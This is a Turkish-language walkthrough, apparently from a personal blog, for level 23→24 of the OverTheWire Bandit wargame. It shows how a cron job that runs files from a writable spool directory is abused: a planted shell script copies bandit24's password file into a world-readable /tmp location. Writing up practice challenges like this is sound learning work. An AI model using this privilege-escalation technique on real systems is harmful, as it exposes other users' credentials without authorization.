← Ana Sayfaya Dön

OverTheWire Bandit: Seviye 23 → Seviye 24

Teknik Not

Bağlam

Yine bir Cron görevi, ama bu sefer çok daha eğlenceli. /etc/cron.d/cronjob_bandit24 dosyasını incelerseniz, /usr/bin/cronjob_bandit24.sh scriptini çalıştırdığını göreceksiniz.

Bu scripti okuduğunuzda (cat ...) şunu fark edeceksiniz: /var/spool/bandit24/foo klasöründeki her dosyayı çalıştırıyor ve sonra siliyor.

Bu demek oluyor ki: Biz oraya bir script koyarsak, sistem (bandit24 yetkisiyle) o scripti çalıştıracak!

Hedef

bandit24 şifresini okuyup, bizim okuyabileceğimiz bir yere (/tmp altında) kopyalayan bir script yazmak ve bunu Cron’un çalıştırmasını sağlamak.

Çözüm

Adım 1: Çalışma Alanı Oluştur

Önce kendi geçici klasörümüzü yapalım, ortalık karışmasın:

mkdir -p /tmp/benim_scriptim
chmod 777 /tmp/benim_scriptim
cd /tmp/benim_scriptim

Önemli: Klasöre 777 izni veriyoruz ki bandit24 kullanıcısı buraya dosya yazabilsin. Aksi takdirde “Permission denied” hatası alır ve dosya oluşmaz.

Adım 2: Scripti Yaz

Şimdi gorev.sh adında bir dosya oluşturup içine yapmasını istediğimiz işi yazalım:

nano gorev.sh

Script İçeriği:

Not: Nano açılırken “Unable to create directory … No such file or directory” hatası verebilir. Bu önemsizdir, görmezden gelin. Yazmaya devam edebilirsiniz.

#!/bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/benim_scriptim/sifre.txt
chmod 666 /tmp/benim_scriptim/sifre.txt

(Not: Dosyanın herkes tarafından okunabilmesi için chmod 666 ekledim)

Dosyayı kaydedip çıkın (Ctrl+O, Enter, Ctrl+X).

Adım 3: İzinleri Ver

Scriptin çalıştırılabilir olması lazım:

chmod 777 gorev.sh

Adım 4: Scripti Hedefe Kopyala

Şimdi bu scripti Cron’un kontrol ettiği klasöre kopyalayalım:

cp gorev.sh /var/spool/bandit24/foo/

Adım 5: Bekle ve Kazan

Cron her dakika çalışıyor. En fazla 60 saniye bekleyin. Sonra oluşturduğumuz dosyayı kontrol edin:

cat /tmp/benim_scriptim/sifre.txt

Tebrikler! İlk sistem otomasyon hack’inizi yaptınız.

Öğrendiklerimiz

  1. Shell Scripting: #!/bin/bash ile başlayan ve sistem komutlarını sırayla çalıştıran metin dosyalarıdır.
  2. Yazma İzinleri: Bir sisteme dosya yazabildiğiniz (upload edebildiğiniz) her nokta, potansiyel bir “Remote Code Execution” (Uzaktan Kod Çalıştırma) açığıdır.
  3. Otomatik Temizlik: Bir script çalıştıktan sonra kendini silebilir veya sistem tarafından silinebilir. Kopyasını saklamak iyidir.